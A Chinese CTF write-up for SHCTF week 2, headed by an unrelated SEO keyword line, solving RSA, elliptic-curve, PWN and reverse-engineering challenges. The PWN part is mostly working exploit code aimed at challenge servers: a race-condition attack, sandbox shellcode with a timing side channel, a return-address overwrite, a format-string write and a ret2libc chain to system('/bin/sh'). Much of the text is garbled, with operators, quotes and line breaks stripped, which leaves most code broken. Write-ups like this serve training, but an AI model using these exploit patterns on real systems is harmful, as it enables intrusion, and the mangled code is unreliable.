如何做adsense网站,网络购物商城网站建设,网站建设seo推广,wordpress 搬家 文章 404官方WP出得很快。对照官的写下私的。大概出入不大#xff0c;毕竟第2周。后边的才难。
Crypto
ER
RSA因子分解题#xff0c;把q的2进制反转后与p异或。关于异或的题很多#xff0c;这个还真是头一回见#xff0c;不过爆破方法还是一样的。
r_q int(bin(q)[2:][::…官方WP出得很快。对照官的写下私的。大概出入不大毕竟第2周。后边的才难。
Crypto
ER
RSA因子分解题把q的2进制反转后与p异或。关于异或的题很多这个还真是头一回见不过爆破方法还是一样的。
r_q int(bin(q)[2:][::-1] , 2)
leak p ^^ r_q
爆破都比较简单分三步
1是个递归由于给的是异或所以每种情况两个值。
2是剪枝爆破没有剪枝就不可能完成毕竟有几百步。这里由于p和q是反的所以要把q的尾部转成p的尾部乘逆然后判断全1是否不足N全0是否超N过滤掉不接入正确值的分枝。
3是个cooper也可以不用直接递归到底不过一般差几百就可以直接出结果了。
def pq_xor(tp,tq,idx):global ok,cnt if ok:return #通过tq的尾部得到tp的尾部mod 2^idx p int(tp,2)ql int(tq[::-1],2)%modpl N*inverse_mod(ql,mod)%modp pl#通过p的尾部得到q的头部qh (pl^^leak)%modprint(hex(qh),hex(pl), hex(mod),hex(pl^^leak))q int((bin(qh)[2:].zfill(256))[::-1],2)qlmid int(1*(256-2*idx) 0*idx,2)print(hex(mid))print(hex(p))print(hex(q))#过滤掉越界的部分if p*qN:print()return False elif (pmid)*(qmid)N:print()return False if idx80:cnt 1try:PR.x PolynomialRing(Zmod(N))f int(tp,2) x*mod pl print(Try, len(hex(p)))rr f.monic().small_roots(X2^(256-2*idx), beta0.4)if rr ! []:print(rr)print(tp)p int(f(rr[0]))print(p ,p)ok Truereturnexcept:passreturnprint(idx,idx)if leak(1(255-idx))0:pq_xor(tp[:idx]1tp[idx1:], tq[:idx]1tq[idx1:], idx1)pq_xor(tp[:idx]0tp[idx1:], tq[:idx]0tq[idx1:], idx1)else:pq_xor(tp[:idx]1tp[idx1:], tq[:idx]0tq[idx1:], idx1)pq_xor(tp[:idx]0tp[idx1:], tq[:idx]1tq[idx1:], idx1)returnleak 5599968251197363876087002284371721787318931284225671549507477934076746561842
N 7120275986401660066259983193598830554385933355254283093021239164350142898387660104515624591378875067038235085428170557400012848874756868985306042421950909ok False
cnt 0
tp tq 10*255
pq_xor(tp,tq, 1)p 64760524083545528318139240449356269097871629401328435356643510319660757701117
d invert(e,p-1)m2 pow(c,d,p)
#3939513057628514533900105670644286436358199
long_to_bytes(int(m2))
b-908f-7c002c687387
后半部分是个椭圆出线Pe*G其中曲线参数都给了n是上边这个nm是G的x值显然不是求私钥的题是已知P求基点乘e的E.order()的逆即可。
p 64760524083545528318139240449356269097871629401328435356643510319660757701117
E EllipticCurve(Zmod(p),[114514,1919810])
e_ inverse_mod(e,E.order())
G e_ * E(P)
long_to_bytes(int(G.xy()[0]))
padding
RSA在CTF里是个永恒的主题。这里flag有点长然后加了padding但是padding已经给了所以未知部分并不太长符合coopersmith的条件。
e 0x3
pad ba_easy_problem
c pow(bytes_to_long(flag pad),e,n)
所以直接cooper求解即可
n 121610581737140600160984832143780045854376696605462678058314779684541675438360954665201512582717184846898732519886408218195115222060925767845182101140985619311569961917165751064108952508715526280654203536289957423921564359664115494280822305174952928768288903200070997282969262755970515223933920417266433278789
c 56315992669696576544280004341339659214473025294542882124309146208269511334821601242728246283362133643638287054408079279238613115250993778355793431158445018157767456378641306161910716971442727571150196541091591821568737809034772939233013836870367817187622454372405657328507359960344342975570184378962591190001t bSHCTF{b\x00*32b}a_easy_problem
t bytes_to_long(t)
P.x PolynomialRing(Zmod(n))
f (tx*256^15)^3 - c
res f.monic().small_roots(X2^(8*32), beta1, epsilon0.05)
long_to_bytes(int(f(res[0])))
worde很大
已知e和dp分解n, dp d mod (p-1) ,由于p-1是phi的因子所以这里随便拿个数大概率g^t%n-1就是p 这里用d,dp效果都一样。
from gmpy2 import gcd
import random def e_dn(e_d,n):ke_d-1while True:g random.randint(2,n-1)tkwhile True:if t%2!0:breaktt//2xpow(g,t,n)if x 1 and gcd(x-1, n) 1:pgcd(x-1,n)qn//preturn p,q#这里的dp也能用
p,qe_dn(e*dp,n)
m pow(c,dp,p)
long_to_bytes(m)
#bSHCTF{WoRD_E_y0u_Dlan_d4_0oG0C0}
魔鬼的步伐
这里的漏洞在于p是由一堆小因子相乘后加1得到也就是p-1光滑。
def get_Prime(bits):while True:n 2while n.bit_length() bits:n * choice(primes)if isPrime(n 1):return n 1#p1光滑
import gmpy2
N n
a 2
k 2
while True:a pow(a, k, N)res gmpy2.gcd(a-1, N)if res ! 1 and res ! N:q N // resprint(k,k)print(p,res)print(q,q)breakn 1ezECC
椭圆曲线的一些运算
m next_prime(bytes_to_long(flag))
p getPrime(512)
a,b getPrime(128),getPrime(128)
E EllipticCurve(Zmod(p),[a,b])
k getPrime(256)
A1 E.random_point()
A2 A1*k
M E.lift_x(m)
C MA2
行是求参根据方程y^2x^3axb mod p 已知2个点A1,C带入即可。
#y^2 x^3 a*x b
#求参数
a (A1[0]^3-C[0]^3 -A1[1]^2C[1]^2)*inverse_mod(-A1[0]C[0],p)%p
b (-A1[0]^3 -a*A1[0] A1[1]^2)%p 然后是个减法由于A1和k已知所以A2也算是已知直接乘而椭圆曲线的减法可以直接减。
另外这里的x是next_prime(flag)所以有点小误差。
ec E(C)
ea1 E(A1)
ea2 ea1*k
M ec - ea2
PWN
easy_competition
关于资源共享的问题输入会被存在共享内存里检查后2秒才会执行这样起两个进程一个写个可以检查通过的值然后第2个再写入超常的值第1个进程会执行修改过的值脏数据从而绕过检查。
from pwn import *
context(archamd64, log_leveldebug)p1 remote(210.44.150.15, 46333)
p2 remote(210.44.150.15, 46333)p1.send(p64(0))
p2.send(p64(0x404120))p1.interactive()ez_sandbox 沙箱题只开了openread没有输出就可能通过判断程序是否退出来确认对比值是否正确。官WP里用了在正确时read我一般用正确时循环。不过我这个不好read会阻塞不占资源而死循环会让CPU冒烟。
而这个题的后台可能因为循环造成的有问题延时会不断增加导至一会就会超过判断的阀值。所以还是用官WP里的read比较好。
from pwn import *
import time
context(archamd64, log_levelerror)def getv(i,v):#p process(./pwn)#gdb.attach(p,b*0x5555555553e0\nc)p remote(210.44.150.15, 45964)code add rax,0x100; push rax;pop r15; add rax,0x100;push rax;pop r14;shellcraft.open(flag)shellcraft.read(rax, r15, 0x50)code f\nmov al, byte ptr[r15{i}]; mov bl,{v}; loop: cmp al,bl; jz loop; push 62;pop rax; syscall; #60 exit,62 kill,231 exit_groupp.send(asm(code))t time.time()try:p.recv(timeout4)#p.interactive()except:passk time.time()-tprint(k)p.close()if k4.0:return Trueelse:return False#getv(1, 0x66)
if 0:p remote(210.44.150.15,44281)code add rax,0x100; push rax;pop r15;shellcraft.open(flag)\nloop: cmp al,3; jz loop;mov rax,1;syscall;p.send(asm(code))t time.time()try:p.recvall(timeout3)p.close()except:print(xxx)p.close()print(time.time()-t)#SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}
flag SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}
for i in range(len(flag), 70):for v in b0123456789abcdef_{}ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-!?^%$#!~():print(chr(v), end)if getv(i,v):flag chr(v)print(flag)breakprint(flag)
ezorw 这题出的非常巧妙。main打开flag然后调用vuln,vuln会从标准输入读数据输出然后关掉flag文件并清指针。
问题就在于清fd这。文件关闭后半不需要清理fd它只是个编号并不是指针。
所以这题通过溢出重排下调用关系vuln溢出将返回地址改为调用vuln前这样执行完后并不重新打开文件而是重入这时候读第2个payload正常的不用溢出之后会执行关闭文件操作由于文件并没有打开fd还是0所以会关闭标准输入。再次再次执行打开文件时fd会使用0然后就从0读出flag输出。
from pwn import *
context(archamd64, log_leveldebug)p remote(210.44.150.15, 49888)p.sendafter(bGive you a gift\n, bA*0x18b\xbb)
sleep(0.5)
#close(0)
p.send(bA*0x18b\x97)p.interactive()
json_printf
后边这两个题就没意思了给了名字显然输入要求用json格式猜因为json解析那个函数很难看懂然后就是一个简单的printf到门匙。
from pwn import *
context(archi386, log_leveldebug)p remote(210.44.150.15, 31325)p.sendlineafter(bHow to send data?\n, b{name:%999c%10$n p32(0x8052074)b,age:18})p.interactive()json_stackoverflow
为作新词强说愁。
from pwn import *
context(archi386, log_leveldebug)
elf ELF(./pwn)
libc ELF(./libc.so.6)p remote(210.44.150.15,22826)p.sendlineafter(bHow to send data?\n, b{name:bA*0x4cflat(elf.plt[puts],0x8049432,elf.got[puts])b,age:18})
p.recvline()
p.recvline()
libc.address u32(p.recv(4)) - libc.sym[puts]
print(f{libc.address :x})p.sendlineafter(bHow to send data?\n, b{name:bA*0x4cflat(libc.sym[system],0x41414141,next(libc.search(b/bin/sh\0)))b,age:18})p.interactive()
REV
下周基本就是难题了REV就作不了了。
AndroidHarmony
这个作了好几天。先改扩展名zip解两次出来的.abc文件到网站上在线反编译。出来的代码巨难看。
大致理解成两块其实是3块所以一开始没作出来。代码太难看了估计用编译工具优化后的会好点。
第1块是个迷宫这个按层遍历就能弄到最优解。他没说是WASD还是0123所以flag不是路径。
msg open(maze.py).readlines()maze [[0]*85 for i in range(85)]for i in range(85):for j in range(85):maze[i][j] msg[i][j]xx [[-1,0],[1,0],[0,-1],[0,1]]way [[,[1,83]]]
ok False
while True:tway []for k in way:for i,x in enumerate(xx):fx,fy k[1][0]x[0], k[1][1]x[1]if fx77 and fy1:print(k[0]str(i))ok Truebreakif maze[fx][fy] :maze[fx][fy] Xtway.append([k[0]str(i),[fx,fy]])if ok:breakif ok:breakway tway.copy()#112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211
第2块是一个encode函数解出来的东西很长能看到除了SHCTF{}和-以外就是16进制字符。只是很难看出来是怎么组合的。
secretKey [f#fLw)??Pz?#9w)Du[ks[q[#w4D?4P4UJf,kU[f.rDkfwrDtq...)?J.#rP4[qrPDJkkJ|.9J|qffU?k|D4P4P[wkk.)k?JUJ[k#9kww[r??wUfw|PkrPUf.P#f.P#.PwJ4f4q.PU4UPDr9.[9fJ#PqP)cDDffJPDrJ.J4qPP[r[.JfJ4f|?U9#b bytes([(v-32-1919810)*39%95 32 for v in secretKey.encode()])
#b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc第3块其实是关于组合的fillflag他按行列在迷宫里找3、4叉路口。然后把字符放上去。
msg open(maze.py).readlines()maze [[0]*85 for i in range(85)]for i in range(85):for j in range(85):maze[i][j] msg[i][j]way 112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211ss b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc.ljust(522, )#先将串放到至少3叉路口上 Fillflag,CheckGround
idx 0
for i in range(1,84):for j in range(1,84):if maze[i][j] ! : continuew 0if maze[i-1][j] : w1if maze[i1][j] : w1if maze[i][j-1] : w1if maze[i][j1] : w1if w2:maze[i][j]ss[idx]idx1#沿最短径收集flag字符
xx [[-1,0],[1,0],[0,-1],[0,1]]
fx,fy 1,83
flag
for i in range(len(way)):if ilen(ss): breakif maze[fx][fy] ! :flag maze[fx][fy]else:maze[fx][fy] k xx[int(way[i])]fx k[0]fy k[1]print(flag)
#SHCTF{81f6ad65-9da6-41ae-bd61-88dea61332f1}
open(m2.txt,w).write(\n.join([.join(maze[i])for i in range(85)]).replace(#,.))
把字符和迷宫放在一张图上就能看到flag是这个路径上的字符。
Loader
loader把enc文件解密后载入执行显然手工解密后基本就完成了。
#loaddata对enc解密后导入
v9 [0xC, 0x42, 9, 3, 0, 0x25, 0xB, 0x15, 4]
data open(enc,rb).read()
d []
for i in range(len(data)):d.append(((data[i]-v9[(i2)%9])^v9[i%9])0xff)open(mm.dat,wb).write(bytes(d))
后边是个麻烦事因为这个java的Random不大好模拟只能用java写小段。
import java.util.Random;public class HelloWorld {public static void main(String []args) {String CHARACTERS 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz;Random random new Random(4310);StringBuilder sb new StringBuilder(12);for (int i3 0; i3 12; i3) {sb.append(CHARACTERS.charAt(random.nextInt(CHARACTERS.length())));}System.out.println(sb.toString());}
}
//QdUOJ7V7Xruo
//SHCTF{QdUOJ7V7Xruo}
babytea
略
from ctypes import *
from pwn import p32v0 *a1;v1 a1[1];total 0x8DDE2E40;for ( i 0; i 0x3F; i ){v1 - (((16 * v0) ^ (v0 5)) v0) ^ v0 ^ (*(_DWORD *)(4i64 * ((total 11) 3) key) total);total 0x61C88747;v0 - (((16 * v1) ^ (v1 5)) v1) ^ v1 ^ (*(_DWORD *)(4i64 * (total 3) key) total);}*a1 v0;result a1 1;a1[1] v1;def decrypt(v, k):v0, v1 c_uint32(v[0]), c_uint32(v[1])delta 0x61C88747k0, k1, k2, k3 k[0], k[1], k[2], k[3]cnt 0x40total c_uint32(0x8DDE2E40 delta * cnt)for i in range(cnt):v0.value (((v1.value4)^(v1.value5))v1.value) ^ v1.value ^(k[total.value3] total.value) total.value - deltav1.value (((v0.value4)^(v0.value5))v0.value) ^ v0.value ^(k[(total.value11)3] total.value) return p32(v0.value)p32(v1.value) enc [415425337,-380302974,277491959,25440477,-706848848,-734132416,-198189596,-1769437464,-438862983,1750955407]
key [1,1,2,3]flag b.join([decrypt(enc[i:i2],key) for i in range(0,10,2)])
print(flag)
#shctf{962fd-464d-8f4f-f1fd-a6a0c987c569}
cancanneed
AES加密没有key
在win11的机子上用jadx可以看到 res/raw/xxnd.jpg这张图实际找不到叫这个名字从目录里找到两张一样的图。从图上取key来解密。
from base64 import b64decode
from Crypto.Cipher import AES
from hashlib import md5enc 7zkErqD/oevxjIIjgJswFk3vDgw5tvK3Cgr/GIYeZEQ5Gq/6v9LPTiUswKcx5ha
enc b64decode(enc)#/res/raw/xxnd.jpg 到res目录下找到看上去一样的两张图片(相同)
key open(x4.jpg,rb).read()[2080:208016]aes AES.new(key,AES.MODE_ECB)
flag aes.decrypt(enc)
print(flag)#SHCTF{Yu_re_Very_N8_oF_nDr01d}
花语
就是花指令专对夫ida的。找到反编译不成功的地方手工nop掉就OK了加密很简单
a [i for i in !}ggagllllff_fau_hisY_keF{CTSH]
for j in range(14):k a[29-j]a[29-j]a[j]a[j]kfor i in range(0,29,2):k a[i]a[i]a[i1]a[i1]k.join(a)
#SHCTF{keY_is_hua_fffllllaggg!}
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